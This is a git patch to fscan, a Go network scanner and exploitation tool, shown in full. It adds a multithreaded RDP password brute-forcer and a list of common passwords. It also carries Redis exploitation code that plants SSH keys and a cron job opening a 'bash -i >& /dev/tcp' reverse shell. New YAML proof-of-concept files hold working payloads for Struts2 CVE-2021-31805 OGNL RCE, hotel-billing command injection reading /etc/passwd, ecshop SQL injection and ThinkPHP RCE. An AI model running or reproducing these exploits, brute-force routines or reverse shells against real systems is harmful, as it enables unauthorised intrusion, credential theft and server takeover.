From 4c51ae1f2ad7e1baea8e8273444ff284458905e3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Wed, 20 Apr 2022 17:45:27 +0800 Subject: [PATCH] =?UTF-8?q?poc=E6=A8=A1=E5=9D=97=E5=8A=A0=E5=85=A5?= =?UTF-8?q?=E6=8C=87=E5=AE=9A=E7=9B=AE=E5=BD=95=E6=88=96=E6=96=87=E4=BB=B6?= =?UTF-8?q?=20-pocpath=20poc=E8=B7=AF=E5=BE=84,=E7=AB=AF=E5=8F=A3=E5=8F=AF?= =?UTF-8?q?=E4=BB=A5=E6=8C=87=E5=AE=9A=E6=96=87=E4=BB=B6-portf=20port.txt,?= =?UTF-8?q?rdp=E6=A8=A1=E5=9D=97=E5=8A=A0=E5=85=A5=E5=A4=9A=E7=BA=BF?= =?UTF-8?q?=E7=A8=8B=E7=88=86=E7=A0=B4demo,=20-br=20xx=E6=8C=87=E5=AE=9A?= =?UTF-8?q?=E7=BA=BF=E7=A8=8B?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/mongodb.go | 23 +--- Plugins/postgres.go | 2 +- Plugins/rdp.go | 97 ++++++++++---- Plugins/redis.go | 35 +++-- Plugins/scanner.go | 2 +- Plugins/webtitle.go | 2 +- README.md | 1 + WebScan/WebScan.go | 58 +++++++- WebScan/lib/check.go | 125 +++++++++--------- WebScan/lib/client.go | 2 + WebScan/lib/eval.go | 2 +- WebScan/lib/http.pb.go | 31 +++-- WebScan/pocs/Hotel-Internet-Manage-RCE.yml | 15 +++ .../pocs/Struts2-062-cve-2021-31805-rce.yml | 31 +++++ WebScan/pocs/ecshop-login-sqli.yml | 15 +++ WebScan/pocs/thinkphp5023-method-rce.yml | 17 ++- common/Parse.go | 12 ++ common/config.go | 10 +- common/flag.go | 3 + 19 files changed, 347 insertions(+), 136 deletions(-) create mode 100644 WebScan/pocs/Hotel-Internet-Manage-RCE.yml create mode 100644 WebScan/pocs/Struts2-062-cve-2021-31805-rce.yml create mode 100644 WebScan/pocs/ecshop-login-sqli.yml diff --git a/Plugins/mongodb.go b/Plugins/mongodb.go index 2b35191..55a073b 100644 --- a/Plugins/mongodb.go +++ b/Plugins/mongodb.go @@ -13,6 +13,7 @@ func MongodbScan(info *common.HostInfo) error { if common.IsBrute { return nil } + _, err := MongodbUnauth(info) if err != nil { errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err) @@ -23,8 +24,7 @@ func MongodbScan(info *common.HostInfo) error { func MongodbUnauth(info *common.HostInfo) (flag bool, err error) { flag = false - senddata := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0} - getlogdata := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0} + senddata := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0} realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second) defer func() { @@ -49,21 +49,10 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) { return flag, err } text := string(buf[0:count]) - if strings.Contains(text, "ismaster") { - _, err = conn.Write(getlogdata) - if err != nil { - return flag, err - } - count, err := conn.Read(buf) - if err != nil { - return flag, err - } - text := string(buf[0:count]) - if strings.Contains(text, "totalLinesWritten") { - flag = true - result := fmt.Sprintf("[+] Mongodb:%v unauthorized", realhost) - common.LogSuccess(result) - } + if strings.Contains(text, "totalLinesWritten") { + flag = true + result := fmt.Sprintf("[+] Mongodb:%v unauthorized", realhost) + common.LogSuccess(result) } return flag, err } diff --git a/Plugins/postgres.go b/Plugins/postgres.go index f8fe626..97587c7 100644 --- a/Plugins/postgres.go +++ b/Plugins/postgres.go @@ -46,7 +46,7 @@ func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, e defer db.Close() err = db.Ping() if err == nil { - result := fmt.Sprintf("Postgres:%v:%v:%v %v", Host, Port, Username, Password) + result := fmt.Sprintf("[+] Postgres:%v:%v:%v %v", Host, Port, Username, Password) common.LogSuccess(result) flag = true } diff --git a/Plugins/rdp.go b/Plugins/rdp.go index 00b292f..f716295 100644 --- a/Plugins/rdp.go +++ b/Plugins/rdp.go @@ -22,46 +22,88 @@ import ( "time" ) +type Brutelist struct { + user string + pass string +} + func RdpScan(info *common.HostInfo) (tmperr error) { if common.IsBrute { return } - starttime := time.Now().Unix() + + var wg sync.WaitGroup + var signal bool + var num = 0 + var all = len(common.Userdict["rdp"]) * len(common.Passwords) + var mutex sync.Mutex + brlist := make(chan Brutelist, all) + port, _ := strconv.Atoi(info.Ports) + for _, user := range common.Userdict["rdp"] { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - port, err := strconv.Atoi(info.Ports) - flag, err := RdpConn(info.Host, info.Domain, user, pass, port) - if flag == true && err == nil { - result := fmt.Sprintf("[+] RDP:%v:%v:%v %v", info.Host, info.Ports, user, pass) - common.LogSuccess(result) - return err - } else { - errlog := fmt.Sprintf("[-] rdp %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - common.LogError(errlog) - tmperr = err - if common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["rdp"])*len(common.Passwords)) * info.Timeout) { - return err - } - } + brlist <- Brutelist{user, pass} } } + + for i := 0; i < common.BruteThread; i++ { + wg.Add(1) + go worker(info.Host, info.Domain, port, &wg, brlist, &signal, &num, all, &mutex, info.Timeout) + } + + close(brlist) + go func() { + wg.Wait() + signal = true + }() + for !signal { + } + return tmperr } -func RdpConn(ip, domain, user, password string, port int) (bool, error) { +func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist, signal *bool, num *int, all int, mutex *sync.Mutex, timeout int64) { + defer wg.Done() + for one := range brlist { + if *signal == true { + return + } + go incrNum(num, mutex) + user, pass := one.user, one.pass + flag, err := RdpConn(host, domain, user, pass, port, timeout) + if flag == true && err == nil { + var result string + if domain != "" { + result = fmt.Sprintf("[+] RDP:%v:%v:%v\\%v %v", host, port, domain, user, pass) + } else { + result = fmt.Sprintf("[+] RDP:%v:%v:%v %v", host, port, user, pass) + } + common.LogSuccess(result) + *signal = true + return + } else { + errlog := fmt.Sprintf("[-] (%v/%v) rdp %v:%v %v %v %v", *num, all, host, port, user, pass, err) + common.LogError(errlog) + } + } +} + +func incrNum(num *int, mutex *sync.Mutex) { + mutex.Lock() + *num = *num + 1 + mutex.Unlock() +} + +func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) { target := fmt.Sprintf("%s:%d", ip, port) g := NewClient(target, glog.NONE) - err := g.Login(domain, user, password) + err := g.Login(domain, user, password, timeout) - //var e if err == nil { return true, nil } - //return true, err + return false, err } @@ -84,12 +126,16 @@ func NewClient(host string, logLevel glog.LEVEL) *Client { } } -func (g *Client) Login(domain, user, pwd string) error { - conn, err := net.DialTimeout("tcp", g.Host, 5*time.Second) +func (g *Client) Login(domain, user, pwd string, timeout int64) error { + conn, err := net.DialTimeout("tcp", g.Host, time.Duration(timeout)*time.Second) + defer func() { + if conn != nil { + conn.Close() + } + }() if err != nil { return fmt.Errorf("[dial err] %v", err) } - defer conn.Close() glog.Info(conn.LocalAddr().String()) g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd)) @@ -147,7 +193,6 @@ func (g *Client) Login(domain, user, pwd string) error { wg.Done() } }) - wg.Wait() return err } diff --git a/Plugins/redis.go b/Plugins/redis.go index 08d786e..b4566b8 100644 --- a/Plugins/redis.go +++ b/Plugins/redis.go @@ -11,8 +11,8 @@ import ( ) var ( - dbfilename string - dir string + dbfilename string + dir string ) func RedisScan(info *common.HostInfo) (tmperr error) { @@ -164,6 +164,10 @@ func Expoilt(realhost string, conn net.Conn) error { } } err = recoverdb(dbfilename, dir, conn) + //fmt.Println("dbfilename:") + //fmt.Println(dbfilename) + //fmt.Println("dir:") + //fmt.Println(dir) return err } @@ -187,14 +191,19 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error return flag, text, err } if strings.Contains(text, "OK") { - key, err := Readfile(filename) - if err != nil { - text = fmt.Sprintf("Open %s error, %v", filename, err) - return flag, text, err - } - if len(key) == 0 { - text = fmt.Sprintf("the keyfile %s is empty", filename) - return flag, text, err + var key string + if filename == "shadow" { + key = SshPub + } else { + key, err = Readfile(filename) + if err != nil { + text = fmt.Sprintf("Open %s error, %v", filename, err) + return flag, text, err + } + if len(key) == 0 { + text = fmt.Sprintf("the keyfile %s is empty", filename) + return flag, text, err + } } _, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))) if err != nil { @@ -246,7 +255,11 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) { return flag, text, err } if strings.Contains(text, "OK") { - scanIp, scanPort := strings.Split(host, ":")[0], strings.Split(host, ":")[1] + target := strings.Split(host, ":") + if len(target) < 2 { + return flag, "host error", err + } + scanIp, scanPort := target[0], target[1] _, err = conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort))) if err != nil { return flag, text, err diff --git a/Plugins/scanner.go b/Plugins/scanner.go index eeea193..9a4d475 100644 --- a/Plugins/scanner.go +++ b/Plugins/scanner.go @@ -56,7 +56,7 @@ func Scan(info common.HostInfo) { case info.Ports == "445": //AddScan(info.Ports, info, ch, &wg) //smb AddScan("1000001", info, ch, &wg) //ms17010 - AddScan("1000002", info, ch, &wg) //smbghost + //AddScan("1000002", info, ch, &wg) //smbghost case info.Ports == "9000": AddScan(info.Ports, info, ch, &wg) //fcgiscan AddScan("1000003", info, ch, &wg) //http diff --git a/Plugins/webtitle.go b/Plugins/webtitle.go index f132f20..4ccdb5c 100644 --- a/Plugins/webtitle.go +++ b/Plugins/webtitle.go @@ -22,7 +22,7 @@ import ( func WebTitle(info *common.HostInfo) error { err, CheckData := GOWebTitle(info) info.Infostr = WebScan.InfoCheck(info.Url, &CheckData) - if common.IsWebCan == false && err == nil { + if common.IsWebCan == false && common.IsBrute == false && err == nil { WebScan.WebScan(info) } else { errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err) diff --git a/README.md b/README.md index 2f62972..b523e51 100644 --- a/README.md +++ b/README.md @@ -188,6 +188,7 @@ fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-G 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 ## 最近更新 +[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程 [+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito [+] 2022/1/11 新增oracle密码爆破 [+] 2022/1/7 扫ip/8时,默认会扫每个C段的网关和数个随机IP,推荐参数:-h ip/8 -m icmp.新增LiveTop功能,检测存活时,默认会输出top10的B、C段ip存活数量. diff --git a/WebScan/WebScan.go b/WebScan/WebScan.go index e478d95..d6eac26 100644 --- a/WebScan/WebScan.go +++ b/WebScan/WebScan.go @@ -6,13 +6,19 @@ import ( "github.com/shadow1ng/fscan/WebScan/lib" "github.com/shadow1ng/fscan/common" "net/http" + "os" + "path/filepath" "strings" + "sync" ) //go:embed pocs var Pocs embed.FS +var once sync.Once +var AllPocs []*lib.Poc func WebScan(info *common.HostInfo) { + once.Do(initpoc) var pocinfo = common.Pocinfo buf := strings.Split(info.Url, "/") pocinfo.Target = strings.Join(buf[:3], "/") @@ -38,5 +44,55 @@ func Execute(PocInfo common.PocInfo) { if PocInfo.Cookie != "" { req.Header.Set("Cookie", PocInfo.Cookie) } - lib.CheckMultiPoc(req, Pocs, PocInfo.Num, PocInfo.PocName) + pocs := filterPoc(PocInfo.PocName) + lib.CheckMultiPoc(req, pocs, PocInfo.Num) +} + +func initpoc() { + if common.PocPath == "" { + entries, err := Pocs.ReadDir("pocs") + if err != nil { + fmt.Printf("[-] init poc error: %v", err) + return + } + for _, one := range entries { + path := one.Name() + if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") { + if poc, _ := lib.LoadPoc(path, Pocs); poc != nil { + AllPocs = append(AllPocs, poc) + } + } + } + } else { + err := filepath.Walk(common.PocPath, + func(path string, info os.FileInfo, err error) error { + if err != nil || info == nil { + return err + } + if !info.IsDir() { + if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") { + poc, _ := lib.LoadPocbyPath(path) + if poc != nil { + AllPocs = append(AllPocs, poc) + } + } + } + return nil + }) + if err != nil { + fmt.Printf("[-] init poc error: %v", err) + } + } +} + +func filterPoc(pocname string) (pocs []*lib.Poc) { + if pocname == "" { + return AllPocs + } + for _, poc := range AllPocs { + if strings.Contains(poc.Name, pocname) { + pocs = append(pocs, poc) + } + } + return } diff --git a/WebScan/lib/check.go b/WebScan/lib/check.go index 31a2f12..5bc132b 100644 --- a/WebScan/lib/check.go +++ b/WebScan/lib/check.go @@ -1,7 +1,6 @@ package lib import ( - "embed" "fmt" "github.com/google/cel-go/cel" "github.com/shadow1ng/fscan/WebScan/info" @@ -26,22 +25,22 @@ type Task struct { Poc *Poc } -func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string) { +func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) { tasks := make(chan Task) var wg sync.WaitGroup for i := 0; i < workers; i++ { go func() { for task := range tasks { - isVul, _ ,name:= executePoc(task.Req, task.Poc) + isVul, _, name := executePoc(task.Req, task.Poc) if isVul { - result := fmt.Sprintf("[+] %s %s %s", task.Req.URL, task.Poc.Name,name) + result := fmt.Sprintf("[+] %s %s %s", task.Req.URL, task.Poc.Name, name) common.LogSuccess(result) } wg.Done() } }() } - for _, poc := range LoadMultiPoc(Pocs, pocname) { + for _, poc := range pocs { task := Task{ Req: req, Poc: poc, @@ -53,7 +52,7 @@ func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string close(tasks) } -func executePoc(oReq *http.Request, p *Poc) (bool, error,string) { +func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { c := NewEnvOption() c.UpdateCompileOptions(p.Set) if len(p.Sets) > 0 { @@ -65,12 +64,12 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error,string) { } env, err := NewEnv(&c) if err != nil { - fmt.Printf("[-] %s environment creation error: %s\n",p.Name,err) + fmt.Printf("[-] %s environment creation error: %s\n", p.Name, err) return false, err, "" } req, err := ParseRequest(oReq) if err != nil { - fmt.Printf("[-] %s ParseRequest error: %s\n",p.Name,err) + fmt.Printf("[-] %s ParseRequest error: %s\n", p.Name, err) return false, err, "" } variableMap := make(map[string]interface{}) @@ -163,67 +162,66 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error,string) { return success, nil, "" } - DealWithRule := func(rule Rules) (bool, error) { var ( flag, ok bool ) - for k1, v1 := range variableMap { - _, isMap := v1.(map[string]string) - if isMap { - continue - } - value := fmt.Sprintf("%v", v1) - for k2, v2 := range rule.Headers { - rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value) - } - rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value) - rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value) + for k1, v1 := range variableMap { + _, isMap := v1.(map[string]string) + if isMap { + continue } + value := fmt.Sprintf("%v", v1) + for k2, v2 := range rule.Headers { + rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value) + } + rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value) + rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value) + } - if oReq.URL.Path != "" && oReq.URL.Path != "/" { - req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path) + if oReq.URL.Path != "" && oReq.URL.Path != "/" { + req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path) + } else { + req.Url.Path = rule.Path + } + // 某些poc没有区分path和query,需要处理 + req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20") + req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20") + + newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body)) + newRequest.Header = oReq.Header.Clone() + for k, v := range rule.Headers { + newRequest.Header.Set(k, v) + } + + resp, err := DoRequest(newRequest, rule.FollowRedirects) + if err != nil { + return false, err + } + variableMap["response"] = resp + // 先判断响应页面是否匹配search规则 + if rule.Search != "" { + result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body)) + if result != nil && len(result) > 0 { // 正则匹配成功 + for k, v := range result { + variableMap[k] = v + } } else { - req.Url.Path = rule.Path + return false, nil } - // 某些poc没有区分path和query,需要处理 - req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20") - req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20") - - newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body)) - newRequest.Header = oReq.Header.Clone() - for k, v := range rule.Headers { - newRequest.Header.Set(k, v) - } - - resp, err := DoRequest(newRequest, rule.FollowRedirects) - if err != nil { - return false, err - } - variableMap["response"] = resp - // 先判断响应页面是否匹配search规则 - if rule.Search != "" { - result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body)) - if result != nil && len(result) > 0 { // 正则匹配成功 - for k, v := range result { - variableMap[k] = v - } - } else { - return false, nil - } - } - out, err := Evaluate(env, rule.Expression, variableMap) - if err != nil { - return false, err - } - //fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName())) - //如果false不继续执行后续rule - // 如果最后一步执行失败,就算前面成功了最终依旧是失败 - flag, ok = out.Value().(bool) - if !ok { - flag = false - } - return flag, nil + } + out, err := Evaluate(env, rule.Expression, variableMap) + if err != nil { + return false, err + } + //fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName())) + //如果false不继续执行后续rule + // 如果最后一步执行失败,就算前面成功了最终依旧是失败 + flag, ok = out.Value().(bool) + if !ok { + flag = false + } + return flag, nil } DealWithRules := func(rules []Rules) bool { @@ -718,7 +716,7 @@ func evalset(env *cel.Env, variableMap map[string]interface{}) { if strings.Contains(k, "payload") { out, err := Evaluate(env, expression, variableMap) if err != nil { - //fmt.Println(err) + fmt.Println(err) variableMap[k] = expression } else { variableMap[k] = fmt.Sprintf("%v", out) @@ -729,10 +727,9 @@ func evalset(env *cel.Env, variableMap map[string]interface{}) { func CheckInfoPoc(infostr string) string { for _, poc := range info.PocDatas { - if strings.Compare(poc.Name,infostr) == 0 { + if strings.Compare(poc.Name, infostr) == 0 { return poc.Alias } } return "" } - diff --git a/WebScan/lib/client.go b/WebScan/lib/client.go index d3ea342..03c12fa 100644 --- a/WebScan/lib/client.go +++ b/WebScan/lib/client.go @@ -45,6 +45,8 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err if DownProxy != "" { if DownProxy == "1" { DownProxy = "http://127.0.0.1:8080" + } else if DownProxy == "2" { + DownProxy = "socks5://127.0.0.1:1080" } else if !strings.Contains(DownProxy, "://") { DownProxy = "http://127.0.0.1:" + DownProxy } diff --git a/WebScan/lib/eval.go b/WebScan/lib/eval.go index c003b24..ecd71ed 100644 --- a/WebScan/lib/eval.go +++ b/WebScan/lib/eval.go @@ -591,7 +591,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) { body = append(body, buf...) } } else { - raw, err := ioutil.ReadAll(oResp.Body) + raw, err := ioutil.ReadAll(io.LimitReader(oResp.Body, int64(5<<20))) if err != nil { return nil, err } diff --git a/WebScan/lib/http.pb.go b/WebScan/lib/http.pb.go index c767624..e2d1cd1 100644 --- a/WebScan/lib/http.pb.go +++ b/WebScan/lib/http.pb.go @@ -8,6 +8,7 @@ import ( "fmt" "github.com/golang/protobuf/proto" "gopkg.in/yaml.v3" + "io/ioutil" "math" "strings" ) @@ -17,7 +18,7 @@ type Poc struct { Set map[string]string `yaml:"set"` Sets map[string][]string `yaml:"sets"` Rules []Rules `yaml:"rules"` - Groups map[string][]Rules `yaml:"groups"` + Groups map[string][]Rules `yaml:"groups"` Detail Detail `yaml:"detail"` } @@ -38,7 +39,6 @@ type Detail struct { Version string `yaml:"version"` } - // Reference imports to suppress errors if they are not otherwise used. var _ = proto.Marshal var _ = fmt.Errorf @@ -383,29 +383,29 @@ var fileDescriptor_11b04836674e6f94 = []byte{ 0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00, } - - func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc { var pocs []*Poc for _, f := range SelectPoc(Pocs, pocname) { - if p, err := loadPoc(f, Pocs); err == nil { + if p, err := LoadPoc(f, Pocs); err == nil { pocs = append(pocs, p) - }else { - fmt.Println("[-] load poc ",f," error:",err) + } else { + fmt.Println("[-] load poc ", f, " error:", err) } } return pocs } -func loadPoc(fileName string, Pocs embed.FS) (*Poc, error) { +func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) { p := &Poc{} yamlFile, err := Pocs.ReadFile("pocs/" + fileName) if err != nil { + fmt.Printf("[-] load poc %s error: %v", fileName, err) return nil, err } err = yaml.Unmarshal(yamlFile, p) if err != nil { + fmt.Printf("[-] load poc %s error: %v", fileName, err) return nil, err } return p, err @@ -424,3 +424,18 @@ func SelectPoc(Pocs embed.FS, pocname string) []string { } return foundFiles } + +func LoadPocbyPath(fileName string) (*Poc, error) { + p := &Poc{} + data, err := ioutil.ReadFile(fileName) + if err != nil { + fmt.Printf("[-] load poc %s error: %v", fileName, err) + return nil, err + } + err = yaml.Unmarshal(data, p) + if err != nil { + fmt.Printf("[-] load poc %s error: %v", fileName, err) + return nil, err + } + return p, err +} diff --git a/WebScan/pocs/Hotel-Internet-Manage-RCE.yml b/WebScan/pocs/Hotel-Internet-Manage-RCE.yml new file mode 100644 index 0000000..4074d22 --- /dev/null +++ b/WebScan/pocs/Hotel-Internet-Manage-RCE.yml @@ -0,0 +1,15 @@ +name: Hotel-Internet-Manage-RCE +rules: + - method: GET + path: "/manager/radius/server_ping.php?ip=127.0.0.1|cat /etc/passwd >../../Test.txt&id=1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36" + Accept-Encoding: "gzip,deflate" + expression: | + response.status == 200 && response.body.bcontains(b"parent.doTestResult") +detail: + author: test + Affected Version: "Hotel Internet Billing & Operation Support System" + links: + - http://118.190.97.19:88/qingy/Web%E5%AE%89%E5%85%A8 + \ No newline at end of file diff --git a/WebScan/pocs/Struts2-062-cve-2021-31805-rce.yml b/WebScan/pocs/Struts2-062-cve-2021-31805-rce.yml new file mode 100644 index 0000000..d77a764 --- /dev/null +++ b/WebScan/pocs/Struts2-062-cve-2021-31805-rce.yml @@ -0,0 +1,31 @@ +name: poc-yaml-struts2-062-cve-2021-31805-rce +rules: + - method: POST + path: / + headers: + Content-Type: 'multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF' + Cache-Control: 'max-age=0' + Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' + + body: "\ + ------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\n\ + Content-Disposition: form-data; name=\"id\"\r\n\r\n\ + %{\r\n\ + (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\ + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n\ + (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\ + (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n + (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\ + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n\ + (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n\ + (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n + (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))\r\n + }\r\n\ + ------WebKitFormBoundaryl7d1B1aGsV2wcZwF— + " + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: Jaky + links: + - https://mp.weixin.qq.com/s/taEEl6UQ2yi4cqzs2UBfCg diff --git a/WebScan/pocs/ecshop-login-sqli.yml b/WebScan/pocs/ecshop-login-sqli.yml new file mode 100644 index 0000000..0e853dd --- /dev/null +++ b/WebScan/pocs/ecshop-login-sqli.yml @@ -0,0 +1,15 @@ +name: poc-yaml-ecshop-login-sqli +set: + r1: randomInt(10000, 99999) +rules: + - method: GET + path: /user.php?act=login + headers: + Content-Type: application/x-www-form-urlencoded + Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:71:"0,1 procedure analyse(updatexml(1,insert(md5({{r1}}),1,1,0x7e),1),1)-- -";s:2:"id";i:1;} + follow_redirects: false + expression: response.body.bcontains(bytes(substr(md5(string(r1)), 1, 32))) +detail: + author: chalan630 + links: + - https://phishingkittracker.blogspot.com/2019/08/userphp-ecshop-sql-injection-2017.html diff --git a/WebScan/pocs/thinkphp5023-method-rce.yml b/WebScan/pocs/thinkphp5023-method-rce.yml index d24987b..0e09b4a 100644 --- a/WebScan/pocs/thinkphp5023-method-rce.yml +++ b/WebScan/pocs/thinkphp5023-method-rce.yml @@ -1,5 +1,17 @@ name: poc-yaml-thinkphp5023-method-rce -rules: +set: + rand: randomLowercase(10) +groups: + poc1: + - method: POST + path: /index.php?s=captcha + headers: + Content-Type: application/x-www-form-urlencoded + body: | + _method=__construct&filter[]=var_dump&method=GET&get[]={{rand}} + expression: | + response.body.bcontains(bytes(rand)) + poc2: - method: POST path: /index.php?s=captcha headers: @@ -8,6 +20,7 @@ rules: _method=__construct&filter[]=printf&method=GET&server[REQUEST_METHOD]=TmlnaHQgZ2F0aGVycywgYW5%25%25kIG5vdyBteSB3YXRjaCBiZWdpbnMu&get[]=1 expression: | response.body.bcontains(b"TmlnaHQgZ2F0aGVycywgYW5%kIG5vdyBteSB3YXRjaCBiZWdpbnMu1") + detail: links: - - https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce \ No newline at end of file + - https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce diff --git a/common/Parse.go b/common/Parse.go index eed8dfd..4225dc6 100644 --- a/common/Parse.go +++ b/common/Parse.go @@ -79,6 +79,18 @@ func ParsePass(Info *HostInfo) { } } } + if PortFile != "" { + ports, err := Readfile(PortFile) + if err == nil { + newport := "" + for _, port := range ports { + if port != "" { + newport += port + "," + } + } + Info.Ports = newport + } + } } func Readfile(filename string) ([]string, error) { diff --git a/common/config.go b/common/config.go index 6c29f15..a33393e 100644 --- a/common/config.go +++ b/common/config.go @@ -1,6 +1,6 @@ package common -var version = "1.7.0" +var version = "1.7.1" var Userdict = map[string][]string{ "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, "mysql": {"root", "mysql"}, @@ -13,7 +13,7 @@ var Userdict = map[string][]string{ "oracle": {"sys", "system", "admin", "test", "web", "orcl"}, } -var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", 